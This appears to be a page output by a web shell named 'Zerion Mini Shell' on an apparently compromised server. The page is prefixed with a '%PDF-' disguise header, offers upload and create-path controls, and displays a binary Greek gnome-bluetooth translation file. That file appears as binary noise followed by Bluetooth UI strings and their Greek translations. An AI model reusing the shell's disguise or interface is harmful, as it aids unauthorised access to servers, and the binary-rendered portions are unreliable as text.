%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/el/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/el/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F�����9�]&���"���3E.]0��<�"51?g��?�;�Q 8GT%c����
�:�(0>C8���Uv+�����
���E�?/Y:���*�$"G�X]�PU���Q 8!+K!;w!D�!N�!G"-V"�"N�"Y�"O<##�#2�#�#,�#$$4$';$	c$m$~$
�$�$�$��$�%�% �%+�%&%&5&.G&Iv&�&�&"�&'$'6'5S'��'�
(!'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: bluez-gnome
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2020-09-09 18:41+0300
Last-Translator: Efstathios Iosifidis <eiosifidis@gnome.org>
Language-Team: www.gnome.gr
Language: el
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
X-Generator: Poedit 2.3
X-Launchpad-Export-Date: 2008-10-05 13:37+0000
X-Project-Style: gnome
%'d ώρα%'d ώρες%'d λεπτό%'d λεπτά%'d δευτερόλεπτο%'d δευτερόλεπτα%d B/s%d kB/s%u ολοκληρωμένη μεταφορά%u ολοκληρωμένες μεταφορέςΔΙΕΥΘΥΝΣΗΑποδοχήΔιεύθυνσηΌλες οι κατηγορίεςΌλοι οι τύποιΝα επιτρέπεταιΠροέκυψε ένα άγνωστο σφάλμαΣυσκευή ήχουΜεταφορά αρχείων με BluetoothΑίτημα σύζευξης μπλουτούθΜεταφορά BluetoothΜεταφορά αρχείου μπλουτούθ από %sΚάμεραΑκύρωσηΕπιλογή αρχείων για αποστολήΠατήστε για να επιλέξετε συσκευή…ΥπολογιστήςΕπιβεβαίωσηΕπιβεβαιώστε τη σύνδεση μπλουτούθΕπιβεβαιώστε το PIN για μπλουτούθΕπιβεβαιώστε το PIN του Bluetooth για το «%s». Αυτό μπορεί συνήθως να βρεθεί στο εγχειρίδιο της συσκευής.ΣυνδέθηκεΓίνεται σύνδεση…ΣύνδεσηΆρνησηΣυσκευή_Κατηγορία συσκευής:_Τύπος συσκευής:ΣυσκευέςΑποσυνδέθηκεΑπόρριψηΟθόνηΟλοκληρώθηκε η λήψη του αρχείουΑπό:ΑκουστικάΑκουστικά και άλλες συσκευές ήχουΑκουστικά ανοιχτής συνομιλίαςΕάν αφαιρέσετε τη συσκευή, θα πρέπει να τη ρυθμίσετε ξανά την επόμενη φορά που θα την χρησιμοποιήσετε.Συσκευές εισόδου (ποντίκια, πληκτρολόγια, κτλ.)Χειριστήριο παιχνιδιώνΠληκτρολόγιοΒεβαιωθείτε ότι η απομακρυσμένη συσκευή είναι ενεργοποιημένη και ότι δέχεται συνδέσεις BluetoothΜόντεμΠοντίκιΟΝΟΜΑΔίκτυοΌχιΔεν υπάρχουν διαθέσιμοι προσαρμογείςΧωρίς ρύθμισηΜη συζευγμένα ή αξιόπισταΆνοιγμα φακέλου που το περιέχειΆνοιγμα αρχείουΣυζευγμέναΣυζευγμένα ή αξιόπισταΓίνεται σύζευξη «%s»ΤηλέφωνοΠαρακαλούμε επιβεβαιώστε ότι το ακόλουθο PIN ταιριάζει με αυτό που εμφανίζεται στο «%s».Παρακαλούμε επιβεβαιώστε το PIN που εισήχθη στο «%s».Παρακαλούμε εισάγετε το ακόλουθο PIN στο «%s».Παρακαλούμε εισάγετε το ακόλουθο PIN στο «%s». Έπειτα πιέστε το πλήκτρο «Return» στο πληκτρολόγιο.Παρακαλούμε μετακινήστε το χειριστήριο του iCade στις ακόλουθες κατευθύνσεις. Έπειτα πατήστε οποιοδήποτε από τα λευκά κουμπιά.ΕκτυπωτήςΑπομακρυσμένος έλεγχοςΑπομακρυσμένη συσκευή για χρήσηΤο όνομα της απομακρυσμένης συσκευήςΑφαίρεση του «%s» από τη λίστα των συσκευών;ΣαρωτήςΑναζήτηση για συσκευές…ΕπιλογήΕπιλέξτε την συσκευή που θα γίνει αποστολήΕπιλέξτε την κατηγορία συσκευής για φιλτράρισμαΕπιλέξτε τον τύπο συσκευής για φιλτράρισμαΑποστολή _αρχείων…Αποστολή αρχείων μέσω BluetoothΑποστολή %sΑποστολή αρχείου %d από %dΠροβολή:TabletΠαρουσιάστηκε σφάλμαΠρος:ΠαιχνίδιΑξιόπισταΤύποςΆγνωστοΣυσκευή βίντεοΟρατό ως “%s” και διαθέσιμο για μεταφορές αρχείου μπλουτούθ. Τα μεταφερόμενα αρχεία τοποθετούνται στον φάκελο <a href="%s">λήψεις</a>.ΦορητόΝαιΛάβατε ένα αρχείοΛάβατε το «%s» μέσω Bluetooth[ΑΡΧΕΙΟ...]_Ακύρωση_ΚλείσιμοΡυθμίσεις π_ληκτρολογίουΡυθμίσεις _ποντικιού και πινακίδας αφής_Εντάξει_ΑφαίρεσηΑ_φαίρεση συσκευήςΠροσπάθεια _ξανάΑ_ποστολήΡυθμίσεις ή_χουπερίπου %'d ώραπερίπου %'d ώρεςΤο «%s» θέλει να συνδεθεί με αυτήν την συσκευή. Θέλετε να το επιτρέψετε;Το «%s» θέλει να συνδεθεί με αυτήν την συσκευή. Θέλετε να επιτρέψετε τη σύζευξη;

Zerion Mini Shell 1.0